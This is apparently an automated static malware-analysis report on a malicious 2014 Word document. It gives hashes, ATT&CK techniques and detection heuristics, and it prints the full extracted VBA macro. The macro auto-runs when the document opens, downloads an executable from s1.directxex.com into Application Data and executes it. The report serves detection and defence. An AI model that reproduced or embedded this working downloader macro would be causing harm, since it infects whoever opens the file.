Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bceaa07dd3517ad9…

MALICIOUS

Office (OLE)

30.0 KB Created: 2014-06-29 23:03:00 Authoring application: Microsoft Office Word First seen: 2014-07-06
MD5: 6807233e3ed048a1a70ae3cf83ae68ba SHA-1: 3f73c802ccca7043f1d8d250e98027c1c3a03e28 SHA-256: bceaa07dd3517ad94926316f7c7214595e0dbbc03d0496fc587072376d0b2799
354 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that utilizes the URLDownloadToFileA API to download a file from the URL http://s1.directxex.com/uploads/2w_N5-BT3rmHNDSKICPNdasVmTSxdBcmlFDl6FFTQD2qCDgl6bS08sYb2iQKYerUfji6QF4fAOgWykgU0PgpwoNXK7TAMdq877M2. The downloaded file is saved as ACWQMZRKECC.exe in the user's Application Data directory and subsequently executed using the Shell function. This indicates a downloader functionality, aiming to fetch and run a secondary payload.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        DAZZITLBSLO = Shell(NNKBXNFFSCZ, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal BFAQVMFETOY As Long, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        AOKTFO "http://s1.directxex.com/uploads/2w_N5-BT3rmHNDSKICPNdasVmTSxdBcmlFDl6FFTQD2qCDgl6bS08sYb2iQKYerUfji6QF4fAOgWykgU0PgpwoNXK7TAMdq877M2", Environ("USERPROFILE") & "\Application Data" & "\ACWQMZRKECC.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://s1.directxex.com/uploads/2w_N5-BT3rmHNDSKICPNdasVmTSxdBcmlFDl6FFTQD2qCDgl6bS08sYb2iQKYerUfji6QF4fAOgWykgU0PgpwoNXK7TAMdq877M2� Referenced by macro
    • http://s1.directxex.com/uploads/2w_N5-BT3rmHNDSKICPNdasVmTSxdBcmlFDl6FFTQD2qCDgl6bS08sYb2iQKYerUfji6QF4fAOgWykgU0PgpwoNXK7TAMdq877M2Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1445 bytes
SHA-256: 63588fc75875eb42d41d251c73aaf0e2bc9c4930318bb13512bead65079c8ebe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal BFAQVMFETOY As Long, _
ByVal DEUOGPYXQBA As String, ByVal KUQZFYEHAID As String, ByVal QJVAAXVTLNK As Long, _
ByVal CFUCVEVNCVM As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal BFAQVMFETOY As Long, _
ByVal DEUOGPYXQBA As String, ByVal KUQZFYEHAID As String, ByVal QJVAAXVTLNK As Long, _
ByVal CFUCVEVNCVM As Long) As Long
#End If
Function AOKTFO(ZMNGHDIAUAC As String, NNKBXNFFSCZ As String) As Boolean
    Dim GMAYVOUOPQE As Long
    GMAYVOUOPQE = URLDownloadToFileA(0, ZMNGHDIAUAC, NNKBXNFFSCZ, 0, 0)
    If GMAYVOUOPQE = 0 Then AOKTFO = True
    Dim DAZZITLBSLO
    DAZZITLBSLO = Shell(NNKBXNFFSCZ, 1)
End Function
Public Sub BUGAVHGALNP()
    AOKTFO "http://s1.directxex.com/uploads/2w_N5-BT3rmHNDSKICPNdasVmTSxdBcmlFDl6FFTQD2qCDgl6bS08sYb2iQKYerUfji6QF4fAOgWykgU0PgpwoNXK7TAMdq877M2", Environ("USERPROFILE") & "\Application Data" & "\ACWQMZRKECC.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
BUGAVHGALNP
End Sub

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